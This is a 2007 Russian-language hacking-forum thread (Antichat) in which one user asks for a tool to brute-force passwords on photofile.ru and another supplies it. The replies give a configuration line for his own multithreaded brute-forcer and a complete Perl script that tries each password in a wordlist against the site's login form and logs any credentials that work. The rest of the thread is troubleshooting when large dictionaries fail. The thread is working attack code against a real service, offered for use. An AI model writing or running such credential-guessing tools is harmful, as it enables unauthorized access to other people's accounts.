ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

скрипт для брута photofile.ru
  #1  
Старый 06.03.2007, 00:14
Аватар для ysmat
ysmat
Познающий
Регистрация: 20.04.2006
Сообщений: 67
Провел на форуме:
170762

Репутация: -1
По умолчанию скрипт для брута photofile.ru

кто сумеет написать
вот форма для ввода пароля
Код:
<FORM action=http://photofile.ru/login/ method=post><INPUT type=hidden value=/index.php 
      name=return_url> 
      <TABLE cellSpacing=1 cellPadding=0 border=0>
        
        <TR>
          <TD align=right>&nbsp;Логин:&nbsp;</TD>
          <TD><INPUT id=login_login tabIndex=2 size=10 name=login></TD>
          <TD class=small noWrap><INPUT tabIndex=5 type=checkbox value=1 
            name=remember>запомнить</TD></TR>
        <TR>
          <TD>&nbsp;Пароль:&nbsp;</TD>
          <TD noWrap><INPUT id=login_pass tabIndex=3 type=password size=10 
            name=password></TD>
          <TD style="PADDING-LEFT: 4px"><INPUT class=button onclick="return LoginFormCheck();" tabIndex=4 type=submit value=войти></TD></TR>
        <TR align=middle>
желательно на перле для возможности запуска на хосте
я пробовал wwwhack скорость достаточно приличная если
использовать самописный брут то наверное будет еще быстрее
при вводе правильного пароля переход на http://photofile.ru/index.php
неправильного http://photofile.ru/forgot/
на основе этого сразу можно сделать вывод о валидности пароля
wwwhack полностью загружает страницу http://photofile.ru/forgot
и ищет в ней слова которых нет в случаи правильного пароля
я поставил (Напоминание пароля Забыли пароль) наверняка этот метод медленнее

Последний раз редактировалось ysmat; 06.03.2007 в 00:20..
 
Ответить с цитированием

  #2  
Старый 07.03.2007, 00:52
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

найдите в разделе "про почту" мой брутфорсер dhomo.. добавьте в его базу строчку вида
['photofile.ru', 'return_url=%2Findex.php&login=zlogin&password=zpa ss', '/login/', 'http://photofile.ru/index.php', 300, 'Set-Cookie', 'photofile.ru']
нужный логин (или логины) пропишите в файле emails.txt как login@photofile.ru и сможете брутить в десяток потоков..

или заюзайте вот этот простенький скриптик:
Код:
#!/usr/bin/perl -w

use IO::Socket;

my $login = shift || die "enter login as argument\n";

open my $p, "<", 'passwords.txt' or die "Can\'t open passwords.txt\n";
while (<$p>) { chomp; 

my $sock = new IO::Socket::INET (PeerAddr => 'photofile.ru',
      PeerPort => 80, PeerProto => 'tcp', TimeOut => 20);

my $pdata="return_url=%2Findex.php&login=$login&password=$_";
my $len=length($pdata);
my $request="POST /login/ HTTP/1.1\n".
	"Host: photofile.ru\n".
	"User-Agent: Mozilla/5.0\n".
	"Keep-Alive: 300\n".
	"Connection: keep-alive\n".
	"Referer: http://photofile.ru/index.php\n".
	"Content-Type: application/x-www-form-urlencoded\n".
	"Content-Length: $len\n\n$pdata";

print $sock $request;
sysread ($sock, my $an, 300); if ($an=~m/forgot/==0) 
	{ open my $l, ">>", 'result.txt'; print $l "$login:$_"; 
	  print "\a$login:$_"; close $l; exit;}}
	  
close $p; print "nothing found..\n";

Последний раз редактировалось Digimortal; 07.03.2007 в 02:32..
 
Ответить с цитированием

  #3  
Старый 07.03.2007, 21:45
Аватар для ysmat
ysmat
Познающий
Регистрация: 20.04.2006
Сообщений: 67
Провел на форуме:
170762

Репутация: -1
По умолчанию

на маленьком словаре все работает
а вот на большом при длительном бруте переодически выдает такие строчки
Код:
thread failed to start: Can't use an undefined value as a symbol reference at C:\dhomo.pl line 96, <$passwd> line 330
что они означают?
есть подозрения что photofile блокирует подбор через определенное время
ну все равно благадарю за помощь + поставил
 
Ответить с цитированием

  #4  
Старый 07.03.2007, 21:55
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

просто многопоточность у меня в бруте еще на стадии доработки ).. сколько потоков выставил?
и по поводу брутфорсера отписуйся в топике по нем лучше..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Разные скрипты r@mbler PHP, PERL, MySQL, JavaScript 4 06.03.2007 18:08
Проблемы защиты мгновенной передачи сообщений Noman Мировые новости 0 29.12.2006 02:34
какОй трой ИСпоЛЬзоваТЬ длЯ поЛНого УПРАвЛЕиЕ уд.КОМПОМ? UnKn0wN E-Mail 32 08.04.2006 04:20
Перепрошивка Bios видеокарт ~Fenix~ Чужие Статьи 4 05.03.2006 23:08



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ